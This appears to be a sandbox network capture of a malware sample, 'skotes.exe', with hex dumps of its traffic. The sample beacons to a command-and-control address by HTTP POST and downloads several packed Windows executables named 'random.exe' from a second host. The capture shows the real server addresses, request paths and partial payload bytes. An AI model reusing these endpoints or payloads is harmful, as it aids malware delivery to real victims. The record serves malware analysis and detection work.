Dec 20, 2024 04:12:10.672702074 CET	448	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 20, 2024 04:12:10.672800064 CET	1236	IN	Data Raw: 00 02 00 00 31 c9 88 8c 0c 00 01 00 00 89 c8 99 f7 fe 8a 04 17 88 04 0c 41 81 f9 00 01 00 00 75 e5 31 c0 31 c9 8a 94 04 00 01 00 00 00 d1 02 0c 04 0f b6 f1 8a b4 34 00 01 00 00 88 b4 04 00 01 00 00 88 94 34 00 01 00 00 40 3d 00 01 00 00 75 d4 83 Data Ascii: 1Au1144@=u$1111QQQ(9BCIuhMBheB~P:C$09G9$
Dec 20, 2024 04:12:10.672812939 CET	1236	IN	Data Raw: c4 0c 01 e7 83 c7 10 eb 4b 89 f9 83 c9 0f 83 f9 17 be 16 00 00 00 0f 43 f1 8d 46 01 81 f9 ff 0f 00 00 72 08 50 e8 0f 01 00 00 eb 06 50 e8 ef 11 00 00 83 c4 04 89 c3 89 44 24 10 89 7c 24 20 89 74 24 24 57 55 50 e8 c4 5f 00 00 83 c4 0c 01 df 8d 5c Data Ascii: KCFrPPD$\|$ t$$WUP_\$h5SmD$$r1L$prQ) $VQTWuED$D$E$(L$I!UW49BD$$4$t$
Dec 20, 2024 04:12:10.672822952 CET	448	IN	Data Raw: 51 e8 8c 44 00 00 83 c4 08 c7 06 88 c3 41 00 f2 0f 10 47 0c f2 0f 11 46 0c 89 f0 5e 5f c2 04 00 cc 56 89 ce 8b 44 24 08 c7 01 28 c1 41 00 83 c1 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 4f 44 00 00 83 c4 08 c7 06 a8 c3 41 00 89 f0 5e c2 04 00 Data Ascii: QDAGF^_VD$(A1VVQPODA^xdBdBd,;`VBhxdBP=xdBuh@hxdB\|V\|$tV^BUSWVPt$D$uJWFFj \
Dec 20, 2024 04:12:10.673070908 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 20, 2024 04:12:10.673127890 CET	224	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1
Dec 20, 2024 04:12:10.673279047 CET	1236	IN	Data Raw: c2 c1 e2 02 eb 05 ba 04 00 00 00 8b 06 8b 48 04 0b 54 0e 0c 31 c0 83 7c 0e 38 00 8d 0c 0e 0f 94 c0 c1 e0 02 09 d0 6a 00 50 e8 0f f7 ff ff 89 e1 e8 62 f6 ff ff 8b 4c 24 08 31 e1 e8 0d 06 00 00 89 f0 83 c4 0c 5e 5f c2 04 00 cc 53 57 56 83 ec 0c 0f Data Ascii: HT1\|8jPbL$1^_SWVt$WB1D$A0HOPW;VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3
Dec 20, 2024 04:12:10.673361063 CET	1236	IN	Data Raw: 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 37 38 00 00 83 c4 08 c7 06 c8 c5 41 00 89 f0 5e c2 04 00 cc c7 01 28 c1 41 00 83 c1 04 51 e8 7b 38 00 00 83 c4 04 c3 b8 80 64 42 00 c3 b9 b8 64 42 00 e8 96 04 00 00 68 4c b8 41 00 e8 ec 01 00 00 59 c3 Data Ascii: 1VVQP78A^(AQ{8dBdBhLAYhVAYh`AYeBhhjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeBiBhA
Dec 20, 2024 04:12:10.792392969 CET	1236	IN	Data Raw: 50 e8 df 24 00 00 59 c3 33 c0 57 8b f9 40 f0 0f c1 05 0c 58 42 00 75 19 56 be c0 64 42 00 56 e8 90 24 00 00 83 c6 18 59 81 fe 80 65 42 00 75 ee 5e 8b c7 5f c3 83 c8 ff f0 0f c1 05 0c 58 42 00 79 19 56 be c0 64 42 00 56 e8 7b 24 00 00 83 c6 18 59 Data Ascii: P$Y3W@XBuVdBV$YeBu^_XByVdBV{$YeBu^UQjYteBEAeBVWyp7Btj17B_^VeBV0Y5eBu^UVjjuYY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49781	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:14.760447979 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 31 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018143001&unit=246122658369
Dec 20, 2024 04:12:16.094089031 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49783	31.41.244.11	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:16.225372076 CET	61	OUT	GET /files/london/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 04:12:17.540195942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:17 GMT Content-Type: application/octet-stream Content-Length: 1885696 Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT Connection: keep-alive ETag: "6763127e-1cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
Dec 20, 2024 04:12:17.540282965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:17.540293932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:17.540407896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:17.540417910 CET	1236	IN	Data Raw: 83 cd 5d 38 36 ec de 6d d0 36 3b 4d 30 16 69 44 0d a6 e1 41 ae 4d c2 d8 6f 69 b7 e9 4f a7 f4 a2 fb fd 67 d5 35 01 df 8a be 6d f7 40 c6 d5 22 db 29 26 de 0a a6 f4 f4 ac 06 76 39 89 61 1e 3d a4 c4 3b ec bb ba af 8b 9b 7d 80 7c 81 45 c8 8a ce 70 d1 Data Ascii: ]86m6;M0iDAMoiOg5m@")&v9a=;}\|Ep=~8GgU\&[N2\|Tnh)+syIv8[o={vhe#GV~L/'+$eEln!a[05<k?d}"
Dec 20, 2024 04:12:17.540455103 CET	1236	IN	Data Raw: 3f 77 19 8d 71 07 fc 26 ae 28 f4 0c 14 5f a1 e3 5a 05 d8 ad e3 c9 9e 91 bd 07 b8 4e f2 f1 fe c6 87 23 00 d6 7d 39 ab 5e 22 85 39 4d 41 ae dc 4b 4d 05 39 9a b9 49 23 66 8c 75 65 22 8b df 53 8b 61 6d 14 9f 9c 33 66 2f 61 d9 c1 89 07 3d 39 c5 5f 95 Data Ascii: ?wq&(_ZN#}9^"9MAKM9I#fue"Sam3f/a=9_?*=JY\|Y8D7j$("7,-GTnI#z>ve@em,%f9)FUa@U;Jsz;X)Q'-ia)uMAKZ
Dec 20, 2024 04:12:17.540491104 CET	1236	IN	Data Raw: f1 87 76 f0 b1 61 c4 39 73 dc ea 41 56 6d 36 e1 6e 65 b1 43 31 46 b0 ec 87 50 d1 87 be 2c ba e3 7c b2 76 cd 51 a8 48 b4 d4 5c e5 c0 28 e9 97 b0 45 60 3c ff ee d6 44 d9 a9 34 73 a8 b7 45 1e 30 89 85 40 da 71 e5 b0 43 52 d7 bb c9 56 48 75 02 ba 3a Data Ascii: va9sAVm6neC1FP,\|vQH\(E`<D4sE0@qCRVHu:}k\|zTnVI1\.Q,EaRAlA9B^GIf-9Z,E9o6L;vBJ'@mN"6f{b9~% aloy
Dec 20, 2024 04:12:17.540575981 CET	108	IN	Data Raw: 4f 03 97 8c b9 be e9 e4 3a 2e 83 cf 09 24 4b 1b 99 7b c5 6a 06 ac f8 8c f4 66 6d dc cd b9 91 38 05 02 94 34 7c ed 0c 6d 15 31 e1 56 0e 46 e2 4d 07 d1 de f1 9b 4f 7e ad 90 2f 3c d4 59 dd 98 e1 0e c5 c5 ca 47 da 2e 44 3b 9b 8a e6 4d 15 39 7b 73 33 Data Ascii: O:.$K{jfm84\|m1VFMO~/<YG.D;M9{s3OcgL Z)
Dec 20, 2024 04:12:17.540632010 CET	1236	IN	Data Raw: ce b3 75 db 64 f3 ff fb 46 40 0a ac b9 05 88 9f d2 1d 91 fa cd 55 3c 50 51 e5 e4 9a df aa 5b ad f5 2f b3 a1 ca ad 87 d6 39 15 fc 45 ad b5 15 c3 7e 0d 16 e3 44 e5 85 60 ad 26 74 da 75 50 87 3b f1 75 8c 53 24 7a a1 b7 b3 29 a5 ee f6 2e 0c 26 8c bd Data Ascii: udF@U<PQ[/9E~D`&tuP;uS$z).&]7w-\|Nr-=(YdMTKn>smx'JN\vOt;BSC"!0qY3YOJDMQ\|t3mA-nyr1
Dec 20, 2024 04:12:17.540642023 CET	1236	IN	Data Raw: c4 ab 59 80 52 a9 a6 9d bf d7 f5 7d 4d 34 ba f2 59 a8 5f fe 1d 61 f7 f5 c3 a5 5f c0 7d 4b 25 15 ed 0f 12 91 7a 91 bd 01 86 35 63 94 d5 3f d4 5b 59 39 06 8e c4 c8 a1 8e 2d 85 d6 d8 a6 50 44 c0 03 15 c3 4a 32 39 6e e2 0c 13 39 2d 10 6a ba 10 b3 6f Data Ascii: YR}M4Y_a_}K%z5c?[Y9-PDJ29n9-jo2`lAn9YtYnnN/\W>Bl,)f*:,^@S8@@(jau5rc6,O[t\JNK$G556JaoJtND\|'
Dec 20, 2024 04:12:17.659822941 CET	1236	IN	Data Raw: b1 b6 53 2b 31 e6 3f 62 4c f5 89 bf ff a7 95 09 4b 6f 21 76 e3 97 71 49 a7 22 78 2d 12 f8 1d 10 81 8a e1 be 0d 0f 99 ca 82 ae d0 b0 a4 8d 5a ac a0 a5 aa 9f 01 f6 d9 ac 7c e5 db fc c9 38 d9 c3 6d db f9 a1 9b 2f 72 91 95 00 ac 7a d2 92 f1 18 85 1c Data Ascii: S+1?bLKo!vqI"x-Z\|8m/rzDl6PHa6Ef*ro2d%g"]h]R({"Wv.DfUP#xH5aqd;5bgME5y)L'Y>f#?y~c\|NK9aQ!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49807	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:23.167686939 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 31 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018144001&unit=246122658369
Dec 20, 2024 04:12:24.507215977 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49810	31.41.244.11	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:24.629738092 CET	61	OUT	GET /files/wicked/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 04:12:25.976233006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:25 GMT Content-Type: application/octet-stream Content-Length: 1114112 Last-Modified: Thu, 19 Dec 2024 03:43:46 GMT Connection: keep-alive ETag: "67639672-110000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$cg02 @ `@WH/@ H.text `.rsrcH/0@@.reloc@@BH<K`pY?F60584zc:VN01O*S~IpRiIPn}iJ!BH+o/Syj8T'}yIkD'$6}w[ )j[-0\|ph\LRT~bKh"8s`)1 [i&9a?FN~_^Q43L@vxIB4\|(~YLS;x)wv:2y%{3w)^7@7k
Dec 20, 2024 04:12:25.976265907 CET	1236	IN	Data Raw: c5 aa 48 9b ae 70 7d f1 84 22 02 e3 af 25 ff 70 0b a7 0d f0 30 e9 b8 67 c4 33 a1 c7 f4 e2 67 07 b9 1d 13 d5 b0 15 b7 9a 9c f0 4c 20 85 a8 02 8b 95 86 b3 8e 7d 65 ab 63 4d 56 2e 77 fb 94 14 cb 5e 76 61 bc 07 61 d8 0e 44 fa a3 52 50 b7 c7 84 0f 72 Data Ascii: Hp}"%p0g3gL }ecMV.w^vaaDRPr\|>CNbYluH#61Z:';)5q2}KK'Rm!a;ijxL8MMWYbp{,mgT%(9<_{;
Dec 20, 2024 04:12:25.976281881 CET	448	IN	Data Raw: 05 00 00 00 b9 00 00 00 1b 00 00 00 c6 ff ff ff 97 00 00 00 2e 00 00 00 6c 00 00 00 38 b4 00 00 00 11 06 1e 2f 08 20 0c d2 b0 d2 25 2b 06 20 34 8c 71 eb 25 26 2b b0 16 6a 0d 11 08 20 39 d6 68 ed 5a 20 3b 9a 58 f3 61 2b 9d 16 13 06 11 08 20 e5 18 Data Ascii: .l8/ %+ 4q%&+j 9hZ ;Xa+ -0Z Ka++o&o Z <c_a8_X =Z fua8Fo 84nZ?_b` <oZ v^a8i+%sojY
Dec 20, 2024 04:12:25.976351976 CET	1236	IN	Data Raw: 00 21 01 00 00 5f 01 00 00 38 03 00 00 8a 01 00 00 f9 01 00 00 d4 02 00 00 d9 01 00 00 38 12 04 00 00 16 13 04 11 0c 20 3c 79 c3 e2 5a 20 b7 80 4f 15 61 38 44 ff ff ff 11 04 6a 06 6e 32 08 20 0c 40 97 01 25 2b 06 20 4f e4 5e 15 25 26 38 29 ff ff Data Ascii: !_88 <yZ Oa8Djn2 @%+ O^%&8)/ 7%+ & &%&8aa Z ]a8, NZ a8aa hZ `Ba8X ~Z [Ba
Dec 20, 2024 04:12:25.976366997 CET	1236	IN	Data Raw: 25 17 58 10 00 91 1f 18 62 60 13 04 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 13 05 d0 01 00 00 1b 28 12 00 00 Data Ascii: %Xb`~%X~%Xb`~%Xb`~%Xb`(o( J6Z a8 ?_ `Z a8~( Z a8nj3 7r%+ L%&8~Y(
Dec 20, 2024 04:12:25.976423025 CET	448	IN	Data Raw: 61 38 68 fd ff ff 07 2a 00 13 30 08 00 00 03 00 00 04 00 00 11 02 20 c1 36 74 93 5a 20 cf 5e 4e d7 61 10 00 20 8c 8c 7a 92 20 f5 f7 b7 f8 61 25 13 07 1f 12 5e 45 12 00 00 00 eb 00 00 00 51 00 00 00 c7 01 00 00 06 01 00 00 05 00 00 00 f4 01 00 00 Data Ascii: a8h*0 6tZ ^Na z a%^EQl]0n88 Z -vza+ E;Z @a8w ?_b 7Z a8V dZ ]a8;~
Dec 20, 2024 04:12:25.976495028 CET	1236	IN	Data Raw: 11 06 16 11 04 1a 59 28 15 00 00 0a 11 07 20 12 3d ba 3e 5a 20 99 dd 12 ff 61 38 4a fe ff ff 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 Data Ascii: Y( =>Z a8J~%X~%Xb`~%Xb`~%Xb` )Z ?a8nj3 ?7%+ $%&8~( Z Xra8(o( Z >Y'a8~%X~
Dec 20, 2024 04:12:25.976509094 CET	1236	IN	Data Raw: ff ff ff b5 00 00 00 90 00 00 00 97 02 00 00 15 00 00 00 f5 00 00 00 7c 02 00 00 38 92 02 00 00 11 07 20 08 ed 6e af 5a 20 53 79 c3 a4 61 2b 8e 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 Data Ascii: \|8 nZ Sya+~%X~%Xb`~%Xb`~%Xb` Z ka8>(o( LZ a8~Y( BEKZ a8~( wJZ )ta8
Dec 20, 2024 04:12:25.976525068 CET	1236	IN	Data Raw: 00 8f 00 00 00 05 00 00 11 17 0a 20 b0 02 07 2b 20 6d 7c 48 27 61 25 0b 1c 5e 45 06 00 00 00 d4 ff ff ff 15 00 00 00 60 00 00 00 4e 00 00 00 2d 00 00 00 02 00 00 00 2b 5e 06 17 58 0a 07 20 fa 04 62 c3 5a 20 81 09 57 40 61 2b c4 02 7b 04 00 00 04 Data Ascii: + m\|H'a%^E`N-+^X bZ W@a+{( Fb+n{_bj2 [3%+ sBF%&+ dZ wa8y0{ B vka%^EHW+U1 )H%+ R%&+
Dec 20, 2024 04:12:25.976686001 CET	1236	IN	Data Raw: 5a 20 3e 69 f8 1e 61 2b 80 02 07 7d 06 00 00 04 11 05 20 e7 08 ee b2 5a 20 9e 3c 06 1c 61 38 66 ff ff ff 09 16 31 08 20 a1 d8 bf 8a 25 2b 06 20 43 75 16 89 25 26 38 4e ff ff ff 06 20 00 00 00 01 37 08 20 34 9b b4 52 25 2b 06 20 f6 6b 9c 21 25 26 Data Ascii: Z >ia+} Z <a8f1 %+ Cu%&8N 7 4R%+ k!%& },Za8)b{o`b y-?Z Ra8} xaZ 6sa8d 58Y ^&8{ 2["Z pda8*0(
Dec 20, 2024 04:12:26.096076012 CET	1236	IN	Data Raw: 61 38 c2 fe ff ff 02 7b 10 00 00 04 6f 22 00 00 06 16 0a 09 20 23 4d 23 fd 5a 20 95 8f ac 96 61 38 a3 fe ff ff 07 02 7b 1a 00 00 04 36 08 20 a8 10 aa df 25 2b 06 20 71 e0 76 f0 25 26 38 86 fe ff ff 02 7b 12 00 00 04 06 8f 02 00 00 02 28 09 00 00 Data Ascii: a8{o" #M#Z a8{6 %+ qv%&8{( "8kX zZ {S8a8U .1Z a a8CbX 83{({({(X T`Z a84 Yt%+ %&8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49831	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:30.493941069 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 31 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018145001&unit=246122658369
Dec 20, 2024 04:12:31.844758987 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49838	31.41.244.11	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:31.971549034 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 04:12:33.292701006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:33 GMT Content-Type: application/octet-stream Content-Length: 4456448 Last-Modified: Fri, 20 Dec 2024 02:32:16 GMT Connection: keep-alive ETag: "6764d730-440000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 f0 b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 b6 00 00 04 00 00 ec 88 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec d2 b5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c d2 b5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PD@ D@ _asa pa>(@.rsrcaN(@.idata aP(@ 8aR(@obbejfdqPT(@msdghfcaC@.taggant0"C@
Dec 20, 2024 04:12:33.292711020 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:33.292718887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:33.292815924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:33.292824984 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 04:12:33.292834997 CET	1236	IN	Data Raw: 12 11 7c 75 7a 61 bd 61 8d 1d 36 5d 8e 61 9c c2 50 9c 2a 4e 8a 6e 1a 1e d1 00 05 e7 64 37 73 11 d1 bd 0f 66 a2 30 70 e8 f1 6d e9 17 4c d6 09 b2 f1 71 9c 1a a1 3a 78 a2 4e 37 36 5e 76 75 f7 12 2a 1b e1 79 48 53 8a 37 0e 09 d1 6a c9 f8 0c 0e bc 68 Data Ascii: \|uzaa6]aPNnd7sf0pmLq:xN76^vuyHS7jhq[8I.gLW:<bO61Rqm[~f8ntr,Nz6y9f/up,Z kT8OcKgt/4eOpQn}b}j^tag^rjU2m=(
